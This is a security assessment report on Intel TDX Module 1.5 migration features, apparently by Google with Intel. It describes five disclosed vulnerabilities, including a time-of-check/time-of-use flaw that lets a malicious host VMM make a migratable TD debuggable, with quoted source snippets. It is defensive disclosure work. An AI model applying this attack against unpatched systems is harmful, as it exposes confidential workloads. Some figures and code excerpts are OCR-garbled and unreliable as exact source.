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Summary

In the second and third quarters of 2025, Google collaborated with Intel to conduct a security
assessment of Intel® Trust Domain Extensions (TDX®), extending Google’s previous review and
covering major changes since Intel TDX Module 1.0 — namely support for Live Migration and
Trusted Domain (TD) Partitioning (nested VMs within TDs). Intel provided guidance and
support, including documentation and updated TDX 1.5 source code. Unlike the previous
review, this time, we had access to a compute node capable of running TDX to develop a
toolkit for live testing and Proof-of-Concept (PoC) generation. Furthermore, we integrated
Gemini for analysis and NotebookLM to efficiently navigate complex specifications.

This assessment resulted in the discovery of one vulnerability that enables a VMM to fully
compromise a TD, and four vulnerabilities that enable a malicious VMM or TD to leak

confidential memory of the Intel TDX Module. Several other security weaknesses and/or bugs
were identified but not categorized as vulnerabilities despite having some impact on security.

Beyond presenting the technical details of multiple bugs and vulnerabilities in this report,
these findings underscore that confidential computing, like other security measures, requires
iterative refinement and complementary security controls to harden it, in line with a
defense-in-depth approach.

Intel TDX provides the fundamental building blocks to create Trusted Execution Environments
(TEEs) with a minimized Trusted Computing Base (TCB) for customers relying on a Cloud
Service Provider (CSP). This means they can construct an environment with effective layers of
protection, especially against insider risk. The trustworthiness of an environment is
established only after the customer attests to it and confirms it meets their unique
security policy.

While customers can delegate verification to third-party services (such as Intel® Tiber™
Trust Authority or Google Cloud Attestation), they must ultimately own that decision. To this
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https://googleprojectzero.blogspot.com/2023/04/technical-report-into-intel-tdx.html
https://www.intel.com/content/www/us/en/security/trust-authority.html
https://www.intel.com/content/www/us/en/security/trust-authority.html
https://cloud.google.com/confidential-computing/docs/attestation
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end, it is the customer’s responsibility to decide if a confidential computing environment is
trustworthy enough for their workloads.

Unless otherwise stated, the vulnerabilities and bugs disclosed were present in the latest
production release of the Intel TDX Module at the time of this security assessment (Q2-Q3
2025).

Intel has informed us that at the time of publication all vulnerabilities identified in this report
have been remediated in versions 1.5.24/1.5.25 & 2.0.14 of the Intel TDX Module onwards
(versions depend on the specific Intel platform). Intel may address other items (e.g. bugs and
security weaknesses) identified in this report in subsequent releases.

We have verified that there has been no evidence of active exploitation of these
vulnerabilities among Google CVM customers.

Introduction

Intel TDX version 1.5 supports several new features including Live Migration and TD
Partitioning (nested VMs within TDs), which increase the TCB for Intel TDX. These features
require new Application Programming Interfaces (APIs), workflows, and complex states,
adding 34,862 lines of code to the Intel TDX module firmware compared to the 1.0 version.
Within that total, 8,034 lines of code are dedicated to defining TD metadata, CPUID
configurations, and the state tables required for migration. As of the time of writing, the latest
Intel 1.5 specifications can be found on the Intel Trust Domain Extensions webpage.

For this project, we focused our efforts on a thorough API review (prioritizing differences since
TDX 1.0) augmented by static analysis and Large Language Model (LLM) tools. Additionally,
we developed a Python-based experimentation framework which was used to build a deeper
understanding of complex Intel TDX flows, run experiments to test edge cases, and develop
PoC exploits for discovered vulnerabilities. Similar to the previous review, we used Frama-C
and CodeQL for static analysis of the code but uncovered limited findings. As LLM capabilities
have significantly improved since our previous review, we used this project as an opportunity
to investigate how they can assist with vulnerability discovery and variant analysis.

Previous security assessments by Google and Intel [Intel Trust Domain Extensions (TDX)
Security Review] identified several vulnerabilities and weaknesses in the 1.0 version of Intel
TDX. A report from Microsoft and Intel similarly focused on version 1.5 with support for Live

Migration [Technical Report of Joint Security Review By Microsoft and Intel TDX 1.5], and
identified several vulnerabilities in the Intel TDX module firmware.

Additionally, several research papers have been published developing side-channel attacks on
Intel TDX modules [TDXdown, TDXploit] and bypassing defense-in-depth mitigations aimed
for countering single-stepping attack techniques.



https://www.intel.com/content/www/us/en/developer/tools/trust-domain-extensions/documentation.html
https://frama-c.com
https://codeql.github.com
https://services.google.com/fh/files/misc/intel_tdx_-_full_report_041423.pdf
https://services.google.com/fh/files/misc/intel_tdx_-_full_report_041423.pdf
https://www.intel.com/content/dam/www/public/us/en/security-advisory/documents/intel_tdx_joint_security_review_with_microsoft.pdf
https://dl.acm.org/doi/pdf/10.1145/3658644.3690230
https://www.usenix.org/system/files/usenixsecurity25-rauscher.pdf
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Our work contributes to the ongoing community effort to secure the critical components in
the confidential computing space and led to the discovery of several new vulnerabilities and
bugs.

Scope

In this work, we primarily focused on Intel TDX Module version 1.5 with support with Live
Migration and TD Partitioning with a brief review of the Non-Persistent and Persistent SEAM
Loader (NP/P-SEAMLDR). Other software components such as Intel® Software Guard
Extensions (Intel® SGX) quoting enclave, and Host/Guest-related code (e.g., Linux KVM,
device drivers, or specific applications) were considered outside the scope.

We did not review the MigTD as it wasn’t considered ready, nor MCHECK source code
because it was not available. Despite the known risk of side-channel attacks, attacks that leak
memory access patterns of TDs were also outside the scope of this assessment.

Background

The Intel TDX threat model is primarily concerned with safeguarding Trust Domains (TDs)
against a malicious or compromised host environment. This includes the Virtual Machine
Manager (VMM), Operating System (OS), Basic Input/Output System (BIOS), System
Management Mode (SMM), legacy Virtual Machines (VMs), other TDs, and non-TD software.
Despite an attacker’s privileged control, Confidentiality and Integrity are maintained
through a combination of architectural features, platform verification, and secure initialization.

Availability is not included in the security objectives because a host VMM can simply deny
the Intel TDX Module and TDs the platform resources required for operation.

Key components are introduced below, with the Intel Trust Domain Extensions White Paper
providing a more comprehensive description of the overall architecture.

Secure Arbitration Mode (SEAM): Hosts the persistent SEAM Loader and Intel TDX Module
providing protection from the host VMM, other system software, and direct-memory access
(DMA) from devices using a reserved memory space identified by the SEAM Range Register
(SEAMRR). New x86 Instruction Set Architecture (ISA) instructions are introduced to enter &
exit, and perform SEAM operations (i.e SEAMCALL, SEAMOPS, SEAMRET, and TDCALL).

Total Memory Encryption, Multi-Key (TME-MK): Provides memory encryption and integrity
protection. The host VMM assigns a Host Key Identifier (HKID) and the Intel TDX Module
programs a private key for that HKID into hardware, using the PCONFIG instruction. Only the
Intel TDX Module and the TD itself are allowed to read/write associated memory.

MCHECK: Performs platform configuration verification (e.g., checks correct setup of SEAM
Range Register and Convertible Memory Ranges); secure information storage (e.g., stores


https://github.com/intel/MigTD
https://www.intel.com/content/dam/develop/external/us/en/documents/tdx-whitepaper-final9-17.pdf
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Convertible Memory Range [CMR] table in the SEAMRR SEAMCFG region); CPU feature
validation (e.g., compatible features provided by all cores and packages on a platform). This
operation is undocumented, closed source, and complex. It is initiated as part of a uCode
patch by writing the IA32 BIOS UPDT_TRIG Model Specific Register (MSR).

SEAM Loader (SEAMLDR): The NP-SEAMLDR is an Authenticated Code Module (ACM)
responsible for verification and loading of the P-SEAMLDR. The P-SEAMLDR runs in a
subrange of the SEAMRR and is responsible for verification and loading or updating of the
Intel TDX Module.

Intel TDX Module: Software that runs in SEAM and used by a VMM to support TD operations.
This runtime software is responsible for providing TD security.

TD Attestation Software: TD software can request a local attestation report (TDReport)
which provides information on platform configuration and software measurements that can be
used to establish trust of the execution environment. An Intel SGX enclave (TDQuoting
Enclave) is used to sign TDReports and generate a remote attestation report (TDQuote).
These reports are also used for Live Migration to establish trust between source and
destination Intel TDX Modules. Intel provides general-certification infrastructure to verify that
a TDQuote was generated by a genuine Intel platform, but customers are expected to verify
the content of the attestation report to establish trust based on their security policy.

With the introduction of Live Migration, the Intel TDX Module is now required to maintain
Confidentiality and Integrity of TDs not just on the platform running the TD, but between
multiple platforms, and during the migration process. Private memory, non-memory state, and
control state of a TD must not be disclosed or modified by untrusted software, which is used
extensively to facilitate TD movement. Additionally, only a single instance of the TD being
migrated is allowed to run at any point in time.

Components inside the Intel TDX TCB (e.g., Intel TDX Module, SEAM Loaders, and CPU
Hardware) are each assigned a Security Version Number (SVN). These are included in
attestation and verified at startup to be greater than or equal to some threshold value.

In the case where vulnerabilities are discovered in TCB components, they are fixed and the
associated SVN is updated. Depending on the severity of the issue and other factors, a
process known as TCB-Recovery (TCB-R) can be performed to ensure that older versions of
components reflect their reduced security level via an attestation process. Intel’s Trusted

Computing Base Recovery of Intel Trusted Execution Environments web page describes the
process in detail.

Next, we describe components of the Intel TDX Module that are the most relevant to our work.


https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/best-practices/trusted-computing-base-recovery.html
https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/best-practices/trusted-computing-base-recovery.html
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State Machines

The Intel TDX Module uses two primary state machines for a TD: lifecycle and operation.

Lifecycle State: Tracked in the Trust Domain Root (TDR) management fields as lifecycle_state
and has the following states: TD_HKID ASSIGNED, TD_KEYS_ CONFIGURED, TD_BLOCKED, and
TD_TEARDOWN. Most of a TD’s lifetime is spent in the TD_KEYS_CONFIGURED state.

TD_HKID ASSIGNED is the initial state when the TD is first created and
TD_BLOCKED/TD_TEARDOWN are used during resource reclamation.

Operation State: Tracked in the Trust Domain Control Structure (TDCS) management fields
as op_state. This state machine is more complex and is primarily checked with
check_state _map_tdcs_and_lock throughout the codebase. A full breakdown of the APIs
allowed in each op_state is provided in Appendix A. This state machine is largely used to
restrict APl access unless a TD is in an acceptable op_state.

The Secure Extended Page Tables (SEPT) entries also include a state to ensure that a given
operation is only allowed if an entry is in a given state. This is usually checked with the
sept_state is seamcall leaf_allowed function.
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Figure 1: TD Migration Components and Process
(Adapted from Figure 2.2 in the Intel TDX Module Architecture Specification: TD Migration)

TD migration enables the secure relocation of an executing TD between Intel TDX platforms in
an untrusted environment. CSPs utilize this feature to relocate TDs and meet customer


https://www.intel.com/content/www/us/en/content-details/839200/intel-tdx-module-architecture-specification-td-migration.html
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Service Level Agreements (SLAs) while maintaining the ability to perform critical maintenance
tasks (e.g., upgrade software, replace hardware, and patch firmware).

The figure above shows the components and processes of a migration. Regardless of the
migration type: cold (i.e. TD is suspended, transferred, and resumed) or live (i.e. TD remains
running with a brief blackout period) a similar process is performed with live migration having
a few distinct phases for memory transfer: In-Order Memory, Blackout, and Out-Of-Order
Memory.

In-Order Memory Migration Phase: Occurs while the Source TD (srcTD) may continue to run
and modify its memory and non-memory state. Order is critical in this phase to ensure that
exports of the same memory are imported in the correct order (i.e. oldest first and newest
last).

Blackout Period: The srcTD is stopped and the mutable non-memory state (e.g., TD, and
VCPUs) are transferred.

Out-of-Order Memory Migration Phase: Occurs after the Blackout Period and the
Destination TD (dstTD) can start executing. Memory can be transferred in any order and
allows on-demand (e.g., EPT violation prioritization) based memory transfers.

The host VMM is responsible for managing resources for the TDs and during a migration
interacting with the Intel TDX Module to export and import migration bundles. Migration
bundles are private memory or non-memory state for a TD, and are both encrypted and
integrity protected. Before migration bundles can be sent, the Destination VMM (dstVMM)
creates a template TD to import the migration bundles into. This is accomplished with multiple
calls to the Intel TDX Module via the Intel TDX Host Interface (i.e. using the SEAMCALL
instruction) to assign an HKID, assign memory, and initialize data structures.

Before the Target TD (tgtTD) can be migrated, a Migration TD (migTD) is created by both the
Source VMM (srcVMM) and dstVMM. This TD plays a critical role in enabling secure and
verifiable relocation of the tgtTD by examining the Intel TDX Module’s capabilities and
attestation evidence. This information is checked on both platforms against the migration
policy and includes: acceptable TD attributes, allowed SVNs, and supported migration
protocol version. The migTDs each communicate a Migration Session Key (MSK), which are
AES-GCM-256 keys generated by the Intel TDX Module, to the other. When the destination
migTD receives the MSK it sets it in the dstTD via the Intel TDX Guest Interface (i.e. using the
TDCALL instruction).

The tgtTD is the TD being migrated, the srcTD is running pre-migration and the dstTD is
running post-migration. The migTD is bound to the srcTD before TD measurements are
finalized during TD initialization. The tgtTD doesn’t perform any special activities during a
migration and is unaware of the process taking place.
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This process is similar to but considerably more complex than the migration of a legacy VM.
With a legacy migration the host VMM is included in the VM’s TCB and has full access to
memory and non-memory state. Because of this the srcVMM and dstVMM can perform the
migration without additional software (i.e. the migTD and Intel TDX Module). Instead the host
VMMs perform the necessary verification and authentication and provide a secure channel to
communicate migration activities.

Note: The purpose of TD migration is to enable relocation of a TD across physical platforms
but technically these activities could take place on a single platform.

Creation Workflows

TD migration introduces an additional path for constructing TDs where import API are used
(e.g., tdh_import_state_immutable, tdh_import_state_td, and tdh_import_state_vp)
instead of the initialization API (e.g., tdh_mng_init and tdh_vp_init).

OP_STATE_UNINITIALIZED

tdh_mng_create tdh_mng_key_config tdh_mng_addcx tdh_mng_init

TDR created with [:> Con'FiEures ZD)S epherzerat&givate Add control structure Initialize TDR and TDCS
HKID assigned €y and associates pages to the TD with supplied parameters
(called once per CPU package) (called multiple times)

Figure 2: Uninitialized Build Sequence

OP_STATE_UNINITIALIZED

| ]
tdh_mng_create tdh_mng_key_config tdh_mng_addcx tdh_servtd_bind tdh_mig_stream_create tdh_import_state_immutat
] § . —

TDR created with

HKID assigned key and associates HKID pages to the TD the dstTD migration stream v TD-scope state

[‘> Configures TD’s ephemeral private | , ||| Add control structure [ Bind the miglD te |\ || Create and initialize | n ||| Import global-scope ar
(called once per CPU package) (called multiple times) context (migsc) (interruptible)

Figure 3: Uninitialized Import Sequence
(Adapted from Figure 2.4 in the Intel TDX Module Architecture Specification: TD Migration)

The traditional Build Sequence, shown in Figure 2, and the Import Sequence, shown in Figure
3, start the same way with a call to tdh_mng_create with a Host Physical Address (HPA) for
the TDR and HKID supplied as parameters. The TDR page is initialized and the HKID is set to
KOT_STATE_HKID_ASSIGNED. tdh_mng_key config is used to program the HKID and
encryption key into the TME-MK. tdh_mng_addcx is then called multiple times to add pages
and initialize them to be used for the TD Control Structures (TDCS).

Build Sequence

The Build Sequence at this point diverges from the common flow by calling tdh_mng_init to
initialize the global-scope of the TD and TD-scope state shared by the Virtual Processors
(VPs) (e.g., L2 Virtual Machine [VM] count, owner measurement fields, CPUID configuration,
Virtual Machine eXtensions [VMX] controls, and MSR bitmap). Data to populate the TD
originates from td_module_global tandtd module local_t structures located inside the
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Intel TDX Module as well as a td_params _t structure supplied by the host VMM. Upon
successful completion of that call the op_state of the TD is set to OP_ STATE _INITIALIZED.

OP_STATE_INITIALIZED

D ————I I =, 1
tdh_vp_create tdh_vp_addcx tdh_vp_init  tdh_mem_sept_add H tdh_mr_finalize
1 ! 4 !
. : ! i Finalize
I Add control i H
[ ] i Add pages for H measurements
TDVPR created L‘> structure pages to [> Initialize the TDVPS [‘> Secpurge EPT [:> making the TD [> OP_STATE_RUNNAB
the VP ; runnable
! tdh_mem_page_add

_—---—N

Add boot image to
TD memory

tdh_mr_extend

! Extend TD i
measurement with |
memory contents in |
256-byte chunks |

Figure 4: Initialized Build Sequence

From the OP_STATE_INITIALIZED state the host VMM can proceed to create and initialize VPs
using a sequence of calls to tdh_vp_create, tdh_vp_addcx, and tdh_vp_init. Private
memory is added with a series of calls to tdh_mem_sept_add to construct the paging
hierarchy and tdh_mem_sept_add to add a memory page and populate the contents.
tdh_mr_extend is used to extend the TD measurement with the contents of the added pages.
Adding VPs and memory can be done in any order and does not need to be performed by the
same LP. Completion of TD initialization occurs when tdh_mr_finalize is called which sets
the op_state to OP_STATE_RUNNABLE.

Import Sequence

The Import Sequence is more complex requiring a migTD to be bound to the tgtTD using
tdh_sertd_bind or tdh_servtd_prebind and creating Migration Stream Contexts (MigSCs)
with tdh_mig stream_create. With that completed, the migTDs on the source and
destination exchange MSKs as described in the TD Migration section. After the exchange is
completed the dstVMM receives encrypted migration bundles to initialize the dstTD by calling
tdh_import state immutable. This APl performs similar initialization to tdh_mng_init but
using encrypted migration bundles passed by the dstVMM. As this can be complex and
time-consuming (e.g., decrypting the migration bundle, importing metadata lists, and
processing additional authenticated data) the Intel TDX Module checks for pending interrupts
during operation. When a pending interrupt is present the migsc_t structure is used to
preserve state and return execution to the host VMM. The host VMM can process interrupts,
perform other activities, and resume the import at a later time by calling
TDH_IMPORT_STATE_IMMUTABLE. When the import activity is resumed the migsc_t structure is
used to restore state and check that other Intel TDX Module import activities have not taken
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place. Once the immutable state is completely imported the op_state of the TD is set to

OP_STATE_MEMORY_IMPORT.

OP_STATE_MEMORY_IMPORT

tdh_import_mem

| |
tdh_import_state_td

1
1

Import TD memory
pages

Import TD-scope
state

F

¥

Figure 5: Memory Import Sequence
(Adapted from Figure 2.4 in the Intel TDX Module Architecture Specification: TD Migration)

(interruptible) (interruptible)

This op_state starts what is known as the “In-Order Memory Import Phase”. Secure EPT
structures are created and memory is imported using tdh_import_mem. Each page imported
is decrypted and copied into the TD. Page attributes and the location are verified to ensure
they are also the same between source and destination. Up to this point the srcTD is in the
live export state, allowed to run, and change TD memory and non-memory state. Mutable
TD-scope state can only be exported during the Intel TDX-imposed Blackout which is started
when tdh_export_pause is called on the srcTD which prevents the srcTD from running.
tdh_import_state_td can then be used to import the mutable TD state and change the
op_state to OP_STATE_STATE_IMPORT upon completion. Both APIs are considered
time-consuming and support interruption similar to tdh_import_state_ immutable. Shared
memory is migrated using traditional host VMM workflows.

OP_STATE_STATE_IMPORT

i W | L

tdh_import_state_vp tdh_import_mem tdh_import_track

[} J
Re-migrate changes that occurred during
the live export phase

Increment epoch
counter/consume LRI
start token

Import VP-scope
state
(interruptible)

Import TD memory
pages
(interruptible)

Figure 6: State Import Sequence
(Adapted from Figure 2.4 and 2.5 in the Intel TDX Module Architecture Specification: TD Migration)

During OP_STATE_STATE_IMPORT VP-scope state is imported using tdh_import_state vp
and memory can continue to be imported using tdh_import_mem. This op_state can continue
to create Secure EPT structures as necessary to perform the memory import activities. With
the TD in the Intel TDX-imposed Blackout, memory marked dirty during the source TD’s live
export phase is re-migrated. tdh_import_track consumes a migration epoch token created
by tdh_export_track on the source and either starts a new epoch leaving the TD in the



~
7

current state or changes to the OP_STATE_POST_IMPORT op_state when the start token is
received.

OP_STATE_POST_IMPORT OP_STATE_LIVE_IMPORT

T I | 1

tdh_import_mem tdh_import_commit tdh_import_mem tdh_import_end

! 1

Perform state

Import TD memor ces . Import TD memor: Mark the end of an

man P pages Yy i> transition making |j‘> P pages y [> e et Ij‘> OP_STATE_RUNNABLE
the TD runnable [

(interruptible) (interruptible)

Figure 7: State Import Sequence
(Adapted from Figure 2.5 in the Intel TDX Module Architecture Specification: TD Migration)

The OP_STATE_POST_IMPORT op_state starts the “Out-of-Order Memory Import Phase” and
is used to support post-copy migration. At this point the srcTD is no longer runnable and
memory no longer needs to be tracked for freshness. Memory can continue to be imported
and when tdh_import commit completes the Intel TDX-Imposed Blackout is over. This means
that the dstTD can be run. Post-copy migration allows the dstTD to start executing before all
memory pages have been transferred. After tdh_import_commit the op_state is changed to
OP_STATE_LIVE_IMPORT and memory can continue to be imported. If the TD attempts to use
non-present memory an EPT violation occurs and the dstVMM can decide how to prioritize
the remaining pages to be migrated. The “Out-of-Order Memory Import Phase” ends along
with the migration when tdh_import_end is called. This changes the TD op_state to
OP_STATE_RUNNABLE.

Migration Bundles

During a migration, bundles are created by the Intel TDX Module through the export API (i.e.
tdh_export_state_immutable, tdh_export_state_td, tdh_export_state_vp, and
tdh_export_mem) and provided to the host VMM. These bundles include Migration Bundle
Metadata (MBMD) and migration data. The MBMD is integrity protected and the migration
data is encrypted to preserve confidentiality. The migration data consists of one or more
migration pages and each page is represented as a Metadata List.
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Figure 8: Non-Memory State Migration List
(Adapted from Figure 7.1 in the Intel TDX Module Architecture Specification: TD Migration)

Themd_list header_tincludesthe list buff sizeasauintl6_tand num_sequences as
auintle t.list buff size is the total number of bytes for the md 1list t andincludes the
size of md_1list header_t. The Intel TDX Module constrains the size of the md_1ist t at
runtime to be less than or equal to 4KB. Themd_list header tandmd list t, as defined
by the Intel TDX Module, are provided below.

typedef union md_list_header_u {
struct {
uintle_t list buff_size;
uintl6_t num_sequences;
uint32_t reserved;
¥
uint64_t raw;
} md_list_header_t;

typedef union md_list_u {
struct {
md_list header_t hdr;
uint8_t body[_4KB - sizeof(md_list_header_t)];
s
uint8_t raw|[_4KB];
} md_list_t;

After the header is an array of md_sequence_t structures, located in the body of the
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md_list_t above, each starting with a sequence_header. The sequence_header is of type
md_field id_t, and the figure below provides a simplified layout.

typedef union md_field id u {

struct {

uint32_t field_code : 24; // Bits 0:23
uint32_t reserved_0 : 8; // Bits 24:31

}s5

struct {
uint32_t element_size code 3 28 // Bits 33:32
uint32_t last_element _in field : 4; // Bits 37:34
uint32_t last_field_in_sequence : 9; // Bits 46:38
uint32_t reserved_1 2 3; // Bits 49:47
uint32_t inc_size 3 dlg // Bit 5@
uint32_t write_mask_valid :1; // Bit 51
uint32_t context_code 3 B8 // Bits 54:52
uint32_t reserved_2 1 1; // Bit 55
uint32_t class_code : 65 // Bits 61:56
uint32_t reserved 3 3 dlg // Bit 62
uint32_t ignored 3 dlg // Bit 63

};

} md_field id_t;

Important fields are in bold with field code, context code, and class_code being used to
uniquely identify an entry to be imported. The 1ast_field_in_sequence and

write _mask_valid fields are used during import to determine how many entries are
represented in a sequence and if the first element in the sequence should be used as a
write_mask when importing values.

|dentified Vulnerabilities

The following table highlights the findings that were confirmed as vulnerabilities. Out of the 5
reported vulnerabilities, we discovered one high severity vulnerability that enables a VMM to
fully compromise a TD, and four vulnerabilities that enable a malicious VMM or TD to leak
confidential memory of the Intel TDX Module. We also found several other security
weaknesses that were not attributed to Common Vulnerability and Exposures (CVE) identifiers
despite some impact on security, which are discussed in the next section.
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Identifier Type Score Description

CVE-2025-30513 | Time-of-Check | 7.9 Migratable TD can become debuggable
/ Time-of-Use during migration

CVE-2025-32007 ' Out-of-bounds | 4.4 Metadata sequence parsing leads to an
Read integer underflow

CVE-2025-27572 | Speculative 41 Speculative out-of-bounds read in guest
Out-of-bounds RDMSR and WRMSR handlers
Read

CVE-2025-32467 @ Speculative 4.1 Speculative out-of-bounds read in host
Out-of-bounds HKID free and VP flush API
Read

CVE-2025-27940 @ Speculative 41 Speculative out-of-bounds read in host
Out-of-bounds API to prebind and bind a service TD
Read

Intel provided an updated Intel TDX Module with all identified vulnerabilities addressed
to customers as part of Intel Platform Update (IPU) 2026.1 or other product sustaining
releases between September and December 2025.

After the planned February 10, 2026 public disclosure of these issues, Intel will initiate a TCB
Recovery process that enables relying parties to verify whether the latest updates have been
deployed on the platform they are using, make security decisions, and establish or
re-establish trust with the platform.

Vulnerability 1: Migratable TD can Become Debuggable During Migration

Intel Technical Advisory for CVE-2025-30513: In certain Intel TDX modules, the
TDH.MNG.INIT APl may be executed after the TDH.IMPORT.STATE.IMMUTABLE state is
initiated, potentially enabling an exploit in which a migratable TD is imported as a debuggable
TD.

Attack Scenario: A compromised dstVMM participates in the migration of a tgtTD. The tgtTD
is correctly configured by an uncompromised srcVMM, had attestation verified, and was
provided with confidential user data. The TD is migratable and a trusted migTD has been
bound to it, the TD is not debuggable.

In this situation a dstVMM can exploit a Time-of-Check to Time-of-Use vulnerability to change
the TD's attributes from migratable to debug as the TD’s immutable state is being imported!


https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
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Exploitation of this attack breaks confidentiality and integrity of a migratable TD. Once
the TD is marked debuggable the host VMM is given complete access to the TD’s private
memory and non-memory state.

Interrupting a tdh_import_state_immutable operation and interleaving a call to
tdh_mng_init allows a TD’s immutable state, including the attributes, to be modified after
being imported. The import operation can then be resumed with the Intel TDX Module
unaware of any modification. The rest of this section details the root cause of the vulnerability
and provides a proof-of-concept exploit.

The attributes field within a TD is a critical 64-bit bitmap that is used to specify various
characteristics and is included in attestation. Three groupings defined:

e TD Under Debug (TUD): Any bit set in this group renders the TD untrusted. Only the
debug flag is defined and when set provides the host VMM access to TD state, VCPU
state and private memory.

Security (SEC): Bits in this group impact TD security and include the migratable flag.
Other (OTHER): Bits in this group do not impact TD security. The perfmon flag is
defined and allows the TD to use performance monitoring capabilities.

The Creation Workflows section describes the similarities and differences between building
and importing a TD. In either situation the TD has an op_state of OP_STATE_UNINITIALIZED
allowing tdh_mng_init or tdh_import_state immutable to be called.

// tdh_mng_init.c

check_lock_and_map_explicit_tdr(tdr_pa, OPERAND_ID RCX, TDX_ RANGE_RW,
TDX_LOCK_EXCLUSIVE, PT_TDR, &tdr_pamt_block, &tdr_pamt_entry_ptr, &tdr_locked_flag,
&tdr_ptr);

check_state_map_tdcs_and_lock(tdr_ptr, TDX_RANGE_RW, TDX LOCK_NO_LOCK, false,
TDH_MNG_INIT_LEAF, &tdcs_ptr);

// tdh_import_state_immutable.c

check_lock_and_map_explicit tdr(tdr_pa, OPERAND_ID RCX, TDX_ RANGE_RW,
TDX_LOCK_EXCLUSIVE, PT_TDR, &tdr_pamt_block, &tdr_pamt_entry_ptr, &tdr_locked_flag,
&tdr_p};

check _state _map_tdcs_and_lock(tdr_p, TDX_RANGE_RW, TDX LOCK_NO_LOCK, false,
TDH_IMPORT_STATE_IMMUTABLE_LEAF, &tdcs_p);

Each APl uses check lock and map_explicit tdr to take an exclusive lock on the TDR and
map it into the TDX module’s linear address space. Next, they call
check_state map_tdcs_and lock to ensure the op state is valid for the called API.
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tdh_import_state_immutable breaks the supplied migration bundle up into multiple
md_list t structures and iterates over eachmd_list callingmd_write list to write entries
into the TDR and TDCS. When md_write_list returns it checks if pending host interrupts are
present using is_interrupt_pending host_side. If true the state is saved into migsc_p
and execution is returned to the host VMM with a status code of

TDX_INTERRUPTED RESUMABLE. The op state is not modified when an interruption occurs.

api_error_type tdh_import_state_immutable(uint64_t target_tdr_pa, uint64_t
hpa_and_size_pa, uint64_t page or_list pa, uint64_t migs_i and_cmd_pa) {

page_list_info.raw = page_or_list pa;
do {
md_list pa.raw = page_list_p[page_list_i].raw;
md_list _hdr_p = (md_list_header_t*)map_pa(md_list _pa.raw_void, TDX_RANGE_RO);
if (aes_gcm_decrypt(&migsc_p->aes_gcm_context, (uint8 t*)md_list hdr_p,
(uint8_t*)&md_list, _4KB) != AES_GCM NO_ERROR) {

fatal_error(FATAL_ERROR_ID_ 150, FATAL_INFO_FORMAT BASIC_INFO, NULL);
¥

if (!sys_imported) {
return_val = md_write_list(MD_CTX_SYS, field_id, ...);

}
else { // Import the TD metadata list:

return_val = md_write_list(MD_CTX_TD, field_id, ...);
}

if ((page_list_i <= page_list_info.last_entry) &&
is_interrupt_pending_host_side()) {

return_val = TDX_INTERRUPTED_RESUMABLE;
goto EXIT;

}
} while ((uint64_t)page_list i <= page_list info.last_entry);

tdcs_p->management_fields.op_state = OP_STATE_MEMORY_IMPORT;
return_val = TDX_SUCCESS;
EXIT:

return return_val;



~
7

At the time of writing, the immutable state metadata bundle is 12KB (composed of three
md_list_ t structures). A simplified version is shown in Figure 5.

(uintl6_t)

list_buff_size (uint32_t) reserved

(uintl6_t)
num_sequences

(md_field_id_t) PKG_FMS
(write_mask_valid = @, last_field_in_sequence=7)

(uint64_t) element ©: ©x806f8

(md_field_id_t) VENDOR_ID
(write_mask_valid = @, last_field_in_sequence=1)

(uint64_t) element ©: 0x8086

(md_field_id_t) TDX_FEATURES®
(write_mask_valid = @, last_field_in_sequence=0)

(uint64_t) element ©: ©x@

reserved

Interruption
Point (uinti16_t) (uint16_t)

list_buff_size num_sequences

(md_field_id_t) TD_UUID
(write_mask_valid = @, last_field_in_sequence=3)

(uint32_t) reserved

(uint64_t) element @©: Oxde7ec7ed

(md_field_id_t) ATTRIBUTES Attributes
(write_mask_valid = @, last_field_in_sequence=1) Import Location

(uint64_t) element 0: 0x30000000

(md_field_id_t) X2APIC_IDS
(write_mask_valid = @, last_field_in_sequence=165)

(uint64_t) element 0: 0x@

Interruption
Point (uint16_t) (uint16_t)

list_buff_size num_sequences

(uint32_t) reserved

(md_field_id_t) X2APIC_IDS
(write_mask_valid = @, last_field_in_sequence=166)

(uint64_t) element 0: Ox@

1
reserved :
1

Figure 9: Simplified Immutable State Metadata Bundle

The first md_1ist contains fields associated with the TDX module (e.g., BUILD_NUM,
VENDOR_ID, and TDX_FEATURES®) and does not consume an entire 4KB page (remaining space
is filled with zeros). The second and third md_1ist structures contain fields associated with
the TD (e.g., TD_UUID, NUM_VCPUS, ATTRIBUTES, and X2APIC_IDS). This provides two
interruption points with everything except the X2APIC_IDS describing the TD being located in
the second md_1list.

The TD attributes are imported with an import _mask of (-1ULL & @xFFFFFFFFFFFFFFFFULL)
but has .special wr_handling set to true as shown below. This means that any bit in the
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64bit field can be set but additional processing occurs before the value is actually written into
the TD.

// ATTRIBUTES // 15
.field id = { .raw = 0x1110000300000000 },

.export_mask = (-1ULL & OxFFFFFFFFFFFFFFFFULL), .import_mask = (-1ULL &
OXFFFFFFFFFFFFFFFFULL),

.special_rd_handling = false, .special_wr_handling = true,
.mig_export = MIG_MB, .mig_import = MIG_MB

The special write handling that takes place inmd_td _write field is used to call
verify td attributes. If this function returns false, the write does not occur and instead
returns TDX_METADATA_FIELD NOT_VALID.

api_error_code_e md_td write field(md field id t field_id, const md_lookup t*
entry, md_access_t access_type,

case MD_TDCS_ATTRIBUTES_FIELD_ID:

td_param_attributes_t attributes;

attributes.raw = value[@] & combined_wr_mask;

if (!verify_td_attributes(attributes, is_import)) {
return TDX_METADATA FIELD VALUE_NOT_VALID;

}

break;

verify td_attributes when called by the write handler and has is_import set to true
which ensures that the migratable flag is set and that debug and perfmon flags are clear.

bool_t verify_td_attributes(td_param_attributes_t attributes, bool_t is_import)

if (attributes.migratable) {
// A migratable TD can't be a debug TD and does not support PERFMON
if (attributes.debug || attributes.perfmon) { return false; }
}
else if (is_import){
// TD must be migratable on import flow
return false;

return true;
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Looking at the other initialization path, tdh_mng_init uses the host VMM supplied
td_params_t structure called td_params_ptr to initialize a TD.

read_and_set td configurations is used to validate and write parameters into it. If that
